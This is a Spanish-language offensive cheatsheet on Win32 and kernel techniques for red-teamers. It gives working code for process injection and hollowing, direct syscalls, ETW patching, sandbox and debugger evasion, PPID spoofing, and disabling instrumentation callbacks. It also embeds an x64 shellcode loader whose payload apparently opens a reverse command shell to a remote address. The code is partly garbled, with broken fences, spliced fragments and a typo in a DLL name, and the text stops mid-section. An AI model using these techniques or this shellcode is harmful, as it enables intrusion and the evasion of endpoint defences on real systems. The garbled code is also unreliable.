
Win32 and Kernel abusing techniques for pentesters
Técnicas de abuso de Win32 y Kernel para pentesters y red-teamers creadas por @UVision y @RistBS
Modo dev activado, abierto a cualquier ayuda :)
DOS_HEADER : Primera cabecera del PE, contiene el mensaje de MS DOS ("This programm cannot be run in DOS mode...."), la cabecera MZ (bytes mágicos para identificar PE) y algo de contenido stub.IMAGE_NT_HEADER : Contiene la firma del archivo PE, la cabecera de archivo y la cabecera opcional.SECTION_TABLE : Contiene las cabeceras de las secciones.SECTIONS : No es una cabecera pero es útil saberlo: estas son las secciones del PE.Detalles : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266
Análisis simple del PE para obtener la dirección absoluta de IAT e ILT:
GetModuleHandleA(NULL);BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] de PIMAGE_NT_HEADERIMAGE_DATA_DIRECTORY.VirtualAddress (RVA de IMAGE_IMPORT_DIRECTORY)BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA de IMAGE_IMPORT_DESCRIPTOR)La EAT resuelve todas las funciones que exporta el PE y también resuelve DLLs. Está definida en la estructura IMAGE_EXPORT_DIRECTORY:```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Tenga en cuenta que la EAT está definida en una DLL, no en un PE "real" (un PE utilizará la EAT de una DLL cargada para resolver punteros a funciones que desea usar).
### Resolver dirección de función
**Usando la dirección de la función**
¿Qué esperas? ¡Encuentra esta función!
**Usando el número ordinal**
Un número ordinal es una **posición de índice** correspondiente a la dirección de la función en el array `AddressOfFunctions`. Puede usarse para **recuperar la dirección correcta de la función**, como a continuación:
Intentemos encontrar la dirección correspondiente (Addr4) con el número ordinal 3.
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
La dirección que buscamos está en la posición 3 (desde 0), y nuestro número ordinal corresponde al **índice de esta dirección**.
**Usando el nombre de la función**
El N-ésimo elemento en el array AddressOfNames corresponde al N-ésimo elemento en el array AddressOfNameOrdinals: usando un nombre dado, puedes recuperar el número ordinal correspondiente y proceder a encontrar la dirección de la función usando este número.
## Tabla de direcciones de importación (IAT)
- El cargador de PE no sabe qué dirección corresponde a cada función: llamemos a la IAT para salvarnos.
- Definido en la estructura IMAGE_IMPORT_DIRECTORY:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
Como resumen, la IAT es una tabla que contiene punteros a varias funciones que son importadas por el PE desde DLL cargadas (ntdll, kernel32...).
Ejemplo de código detallado aquí: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp
Cada DLL importada por el PE tiene su propia ILT.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
Contiene todos los nombres de las funciones que están en la DLL importada.
<br>
## Habilitar el privilegio SeDebug
El privilegio **SeDebug** es el privilegio "más buscado" en toda la lista de privilegios de Windows. Te permite "depurar" cualquier proceso autorizado, lo que puede traducirse en varias acciones ofensivas, como abrir un handle con privilegios ```PROCESS_ALL_ACCESS```.
Para habilitarlo en modo usuario, necesitarás usar una función como:```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
Esta función abrirá el token de su proceso actual y luego lo ajustará al privilegio SE_PRIVILEGE_ENABLED, que corresponde al privilegio objetivo.
Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp
Esta técnica tuvo buenas tasas de bypass hace unos años; sin embargo, debido al creciente número de EDR y otras soluciones de endpoint, se debe evitar en lo posible la escritura en disco.
Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp
Puede ejecutar un archivo binario sin procesar en memoria asignando su espacio de tamaño en una región de memoria :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# Técnicas de inyección de código
## Inyección mediante CreateRemoteThread
Simplemente escribe tu shellcode en un espacio de memoria previamente asignado dentro del proceso objetivo. (No apto para OPSEC)
> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## Process Hollowing
El Process Hollowing se realiza en varios pasos :
- Crear el proceso objetivo (el "vaciado") en modo suspendido : es necesario modificarlo
- Desmapear el proceso objetivo de su PEB (Debes declarar esta estructura primero)
- Escribir el contenido del nuevo exe en este proceso : cabeceras + contenido
- Analizar y aplicar la tabla de reubicaciones
- Dejar que el proceso continúe ejecutándose en su hilo
- Disfruta
> El POC completo se puede encontrar aquí : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## Técnica de cola APC
Inyecta tu shellcode en todos los hilos disponibles de un proceso y luego usa la función ```QueueUserAPC()``` para poner en cola una llamada APC. Esta técnica puede no ser fiable cuando no hay muchos hilos en el proceso comprometido.
> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## Early Bird
Similar a la inyección por cola APC, aquí la llamada APC debe establecerse en un proceso suspendido. El hilo principal del proceso creado se reanuda entonces; la principal ventaja de esta técnica es que, al evitar escribir el shellcode en un proceso en ejecución, será menos detectada por AV/EDR.
> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## Reflective DLL Injection
Al igual que con la inyección de DLL "estática" (mediante el uso de un archivo dll), puedes inyectar tu propia DLL en la mayoría de los procesos reflejándola en memoria. Tiene la ventaja de eludir fácilmente algunos productos AV/EDR a pesar de ser una técnica bastante detectada hoy en día.
Primero debes asignar memoria y hacer algo de trabajo de reubicación para que funcione.
El conocido PoC sobre esta técnica fue publicado por stephenfewer : https://github.com/stephenfewer/ReflectiveDLLInjection
## Inyección de DLL
Puedes inyectar algo de código almacenado en una dll en un proceso remoto. Desafortunadamente, los productos EDR probablemente lo detectarán fácilmente, especialmente si la dll maliciosa toca el disco.
> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## Process Doppelganging
El Process Doppelganging fue hasta hace unos años un método no detectado de lanzar tu propio payload de una forma bastante astuta. Fue demostrado en BlackHat 2017 por Tal Liberman y Eugene Kogan, mira su increíble trabajo : https://www.youtube.com/watch?v=Cch8dvp836w
Es un paso "intermedio" antes de la técnica de Process Hollowing : la imagen PE se sobrescribe antes de ejecutarse, por lo que Windows Loader hace el Process Hollowing por nosotros (¿mola, verdad?).
Hasherezade ha hecho algunos POCs interesantes de esta técnica, disponibles aquí : https://github.com/hasherezade/process_doppelganging
## Fibers
Los hilos (fibers) pueden definirse como ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)```. Permite que el programa principal ejecute el shellcode a través de este nuevo tipo de hilo.
> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## Inyección de código mediante MapView
Esta técnica te permite compartir una vista de una sección de memoria de tu proceso malicioso con otro proceso remoto, que ejecutará tu shellcode almacenado en esa vista. Se puede hacer usando NtCreateSection/NtMapViewOfSection, evitando así usar procedimientos muy monitorizados como WriteProcessMemory() o VirtualAlloc() (sin embargo, NtMapViewOfSection también puede ser monitorizado).
Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## Module Stomping
Esta técnica hace que tu beacon esté respaldado por un módulo en disco.```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
para detectar el module stomping (especialmente para Cobalt Strike) se publicó un escáner llamado DetectCobaltStomp para resaltar algunos IoCs de la técnica, pero el autor de Brute Ratel logró mejorar la técnica original.
Simplemente reemplaza la dirección de la función original (obtenida con GetProcAddress) por la nueva. Esta técnica está bien detallada por su autor: https://idov31.github.io/2022-01-28-function-stomping/
El hooking inline es la forma más básica de enganchar una función: simplemente consiste en redirigir la llamada a la API hacia tu propia función (un salto).
Ejemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
Al modificar la dirección de la función correspondiente para que apunte a tu propia función, puedes hacer que el programa ejecute tu propio código.
Puede hacerse siguiendo varios pasos:
Ejemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
Hay varias técnicas que puedes usar para ocultar tus llamadas a la API de win32, aquí tienes algunas:
char[] para dividir los nombres de tus funciones/DLL en varios caracteres```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> Incluso puedes combinar este truco con alguna conversión de códigos de caracteres ASCII.
## Resolución manual de funciones
Puedes resolver manualmente un puntero a cualquier función de kernel32, ntdll y muchas más.
- Primero declara la plantilla de tu función, basada en el encabezado real de la función:```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
Luego resuelva un puntero a la función :```cpp myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess")); op_proc(PROCESS_ALL_ACCESS,NULL,12345);
> No dudes en combinar esta técnica con alguna ofuscación de cadenas para evitar pasar el nombre real de la función en texto plano.
## Hashing de API de Win32
Puedes ocultar tus llamadas a funciones de API calculando su hash con algún algoritmo de hash (djb2 es el más usado); ten cuidado con las colisiones de hash que son posibles con algunas funciones especiales. Luego combina esta técnica con la resolución directa de direcciones en la EAT, y haz llorar a los reversers :)
<br>
# Bypass de EDR/Endpoint
## Syscall directo
La mayoría de los productos EDR enganchan las llamadas a la API de win32 en modo usuario (PatchGuard reduce fuertemente la disponibilidad de hooks en el kernel). Para evitar estos hooks, puedes llamar directamente al equivalente Nt() de tus funciones de API.
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
Encuentra el número de syscall correcto en esta tabla : https://j00ru.vexillium.org/syscalls/nt/64/
- Resolver la dirección NT```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
Código de ejemplo : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp
C++/C suelen ser más detectados por los productos AV/EDR que los lenguajes equivalentes de alto nivel: usa Go, Rust u otro lenguaje para crear tus mejores plantillas.
Simplemente vuelve a enganchar tus funciones enganchadas aplicando la llamada de función correcta: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
Para detectar hooks, primero obtendrás la dirección base de NTDLL con LoadLibrary, luego analizarás los encabezados PE para localizar EAT (IMAGE_EXPORT_DIRECTORY) y sus offsets, que contendrán toda la información importante (funciones exportadas + nombre). Simplemente resuelve los nombres y direcciones de las funciones mientras iteramos sobre las funciones exportadas y aplica las siguientes sentencias if para clasificar las funciones
> **⚠️** : algunas funciones son falsos positivos, te recomiendo detectarlas :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if, comprueba si los primeros 4 bytes de functionName son iguales a mov r10, rcx; mov eax, ##, que es el comienzo del stub de syscall```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> Ejemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## Parchear ETW
Event Tracing for Windows (ETW) es una API de registro de bajo nivel que se puede utilizar para depurar/registrar procesos del kernel y del modo usuario. Se implementó por primera vez en Windows 2000, pero la supervisión en tiempo real está realmente disponible desde Windows XP.
La API de ETW está disponible en los archivos de encabezado proporcionados por Microsoft: https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
En una operación de pentest, debes tener en cuenta esta funcionalidad parcheándola: la forma más utilizada es escribir opcodes ```ret``` arbitrarios en la función de escritura de eventos de ETW (```EtwEventWrite```) para evitar que los registros se escriban en algún lugar.
Ejemplo de código: //
## Evasión de sandbox
Los sandboxes son bastante utilizados por los AV/EDR para probar algunas llamadas a la API y otras partes del código antes de ejecutar realmente tu programa. Hay varias técnicas para evitar esta herramienta; a continuación se presentan algunas de ellas:
- Espera. En serio. Funciones como `Sleep()` o `time.sleep()` o equivalentes harán el trabajo, durante unos segundos antes de ejecutar el shellcode real.
- Intenta asignar mucha memoria (malloc), por ejemplo 100000000 bytes.
- Intenta detectar si realmente estás en un entorno de sandbox (VM): comprueba procesos abiertos, archivos y otras cosas sospechosas.
- Intenta resolver una URL falsa (que no funcione): muchos productos AV responderán con una página falsa.
- Usa llamadas a la API extrañas y poco utilizadas, como `VirtualAllocExNuma()`. La mayoría de los sandboxes no pueden emular este tipo de llamada.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
No es una técnica real de evasión de AV, pero sigue siendo útil para evitar ser invertido demasiado fácilmente por ingenieros de RE. Hay muchas formas de detectar o volver locos a los depuradores, pero aquí tienes algunas de ellas:
Forma con flags
Puedes usar IsDebuggerPresent() (Win32) o la llamada directa NtQueryInformationProcess() (no muy documentada) para comprobar los flags de depuración.
Forma con handles
Intenta cerrar handles inválidos (inexistentes) con la API CloseHandle(). El depurador intentará capturar la excepción, lo cual puede detectarse fácilmente:```cpp
bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle
{
__try
{
CloseHandle((HANDLE)0xDEADBEEF);
return false;
}
__except (EXCEPTION_INVALID_HANDLE == GetExceptionCode()
? EXCEPTION_EXECUTE_HANDLER
: EXCEPTION_CONTINUE_SEARCH)
{
return true;
}
}
**Forma ASM**
Intenta hacer una llamada INT 3 (ASM): es equivalente a un punto de interrupción de software, que disparará un depurador. Hay muchas otras formas de detectar cualquier depurador, muchas de ellas están recopiladas en : https://anti-debug.checkpoint.com/
## Técnica VirtualProtect
Usando algunos trucos con `VirtualProtect()` puedes evitar fácilmente ser marcado en memoria : cambia entre `PAGE_EXECUTE_READWRITE` y `PAGE_READWRITE` (menos sospechoso) para evitar activar tu AV favorito.
## Fresh Copy Unhook
Evita los hooks reemplazando la ntdll "enganchada" por una nueva, mapeada directamente desde el disco.
Ejemplo de código : // to add
## Hells Gate
Para evitar usar syscalls hardcodeados, Hell's Gate (¿Hells Gates ?) los recupera dinámicamente analizando la EAT (compara bytes de memoria con opcodes de syscall). El PoC original fue creado por el gran equipo de VX-Underground, y se puede encontrar aquí : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
Otro ejemplo : https://github.com/am0nsec/HellsGate
## Heavens Gate
Usa Wow64 para inyectar payloads de 64 bits en un loader de 32 bits. Puede ser útil para evadir algunos AV/EDR porque Wow64 evitará que seas detectado en userland.
La versión más conocida de esta técnica fue creada por el equipo de MSF, mira su increíble trabajo aquí : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
Abusando de CreateThreadPoolWait(), que puede aceptar un puntero a una función de callback, puedes ejecutar tu shellcode a través de este procedimiento. Muchas técnicas similares (usando un puntero a función de callback) están disponibles en : http://ropgadget.com/posts/abusing_win_functions.html
Ejemplo :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
Secuestra un hilo en un proceso remoto suspendiéndolo y luego reemplaza su registro RIP (o EIP si estás en x86) con la dirección de tu propio shellcode.
Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c
Cuando un proceso sospechoso/anormal se inicia bajo un proceso padre "legítimo" o desatendido, resulta muy sospechoso. Piensa en una macro maliciosa de Word que despliega un proceso de PowerShell: qué extraño, ¿verdad ?
La suplantación de PPID puede evitar eso al permitirte modificar el id del proceso padre (PPID) de tu proceso creado.```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
## Devolución de llamada de instrumentación de procesos
La devolución de llamada de instrumentación de procesos se define mediante el indicador `ProcessInstrumentationCallback` (`0x40`) y es utilizada por los productos de seguridad para [detectar posibles invocaciones directas a syscalls](https://winternl.com/detecting-manual-syscalls-from-user-mode/) mediante el registro de una devolución de llamada que comprueba si la instrucción `syscall` proviene de la imagen ejecutable y no de NTDLL. Para omitirla en nuestro proceso, solo tenemos que establecer `Callback` en `NULL`.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
sigue siendo "no documentado" por Microsoft, pero Alex Ionescu lo ha documentado aquí y Everdox también lo ha hecho aquí
Código completo para evadir la instrumentación aquí : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c
Recorre el montón con HeapWalk y luego cifra las asignaciones :```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> más información aquí: https://www.arashparsa.com/hook-heaps-and-live-free/
## Ofuscación de Sleep
Muchos PoCs sobre ofuscación de sleep han surgido con diferentes mecanismos (UM APCs, TP y más); aquí tomamos como ejemplo [Ekko](https://github.com/Cracked5pider/Ekko/), que es el PoC más fácil de entender.
la cadena ROP de Ekko es muy simple: cambia la protección de memoria a `RW`, cifra la región con `SystemFunction032`, que implementa RC4, hace Sleep con `WaitForSingleObject`, descifra la región y vuelve a cambiar la protección a `RWX`. Finalmente, pone en cola todo el `CONTEXT` con `CreateTimerQueueTimer`
> Se han lanzado algunos escáneres como [TickTock](https://github.com/WithSecureLabs/TickTock) o [Patriot](https://github.com/joe-desimone/patriot) para detectarlo, pero puedes evitarlos usando un trampolín a `NtContinue` en NTDLL con un gadget y reemplazando el registro `Rip` en la cadena ROP
<br>
# Fundamentos de programación de controladores
## Conceptos generales
Los controladores se utilizan para ejecutar código en modo kernel en lugar de en modo usuario. Es una técnica poderosa para evadir todos los hooks y el monitoreo en modo usuario establecidos por AV/EDR. También se puede usar para evadir callbacks del kernel y otro monitoreo del kernel.
El código de cualquier controlador debe verificarse (cualquier advertencia debe tratarse como un error) para garantizar que esté libre de fallos (no querrás provocar un BSOD durante un pentest, ¿verdad?).
Hace unos años, Microsoft decidió prohibir los controladores sin firmar en su sistema operativo: debes deshabilitarlo antes de cargar tu propio controlador, o usar cualquier vulnerabilidad (como https://github.com/hmnthabit/CVE-2018-19320-LPE) para deshabilitar la firma de controladores.
En un pentest real, debes encontrar algún controlador vulnerable y aprovecharlo :)
## Tabla de despacho de servicios del sistema (SSDT)
La SSDT, o Tabla de Despacho de Servicios del Sistema, es una tabla (obvio) que puede resolver la función Nt correspondiente mediante su índice actual. Cuando se realiza cualquier llamada en modo usuario, se resuelve de la siguiente manera:
- ```OpenProcess``` (se llama a la función de la API Win32)
- ```NtOpenProcess``` (resuelta en ntdll.dll)```asm
mov r10, rcx
mov eax, 26
syscall
ret
ntdll contiene procedimientos de llamada al sistema para cada función Nt
La SSDT se define en una Tabla de Descriptores de Servicio :```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
SSDT es/fue a menudo enganchado por rootkits, ya que era posible modificar la dirección correspondiente para que apuntara a sus propias funciones. **Patchguard** ha deshabilitado esta posibilidad, salvo en caso de alguna vulnerabilidad interna.
> Muchos productos antivirus también están usando este truco hoy en día, probablemente usando las mismas técnicas que los hackers malvados;)
## Entrada del driver
El procedimiento de entrada del driver se define de la siguiente manera :```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
Es muy importante usar la macro UNREFERENCED_PARAMETER() en los parámetros DriverObject y RegistryPath, a menos que se haga referencia a ellos añadiendo algo de código más adelante.```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## Entrada/Salida
Usa MajorFunction `IRP_MJ_CREATE` y `IRP_MJ_CLOSE` para actuar como "interrupción" y comunicarte con tu controlador desde el lado del cliente.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
Luego define tu función CreateClose :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
Código de ejemplo completo aquí : //
## Comunicarse con el controlador
Las aplicaciones en modo usuario envían IOCTLs a los controladores mediante la llamada a DeviceIoControl, que se describe en la documentación del Microsoft Windows SDK. Las llamadas a DeviceIoControl hacen que el administrador de E/S cree una solicitud IRP_MJ_DEVICE_CONTROL y la envíe al controlador de nivel superior (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
La aplicación en modo usuario debe usar la función DeviceIoControl (ioapiset.h) para comunicarse con un controlador.
Se utilizará para enviar varias solicitudes a su objeto **Device**.
Código de ejemplo simple aquí : //todo
## Firma de controladores
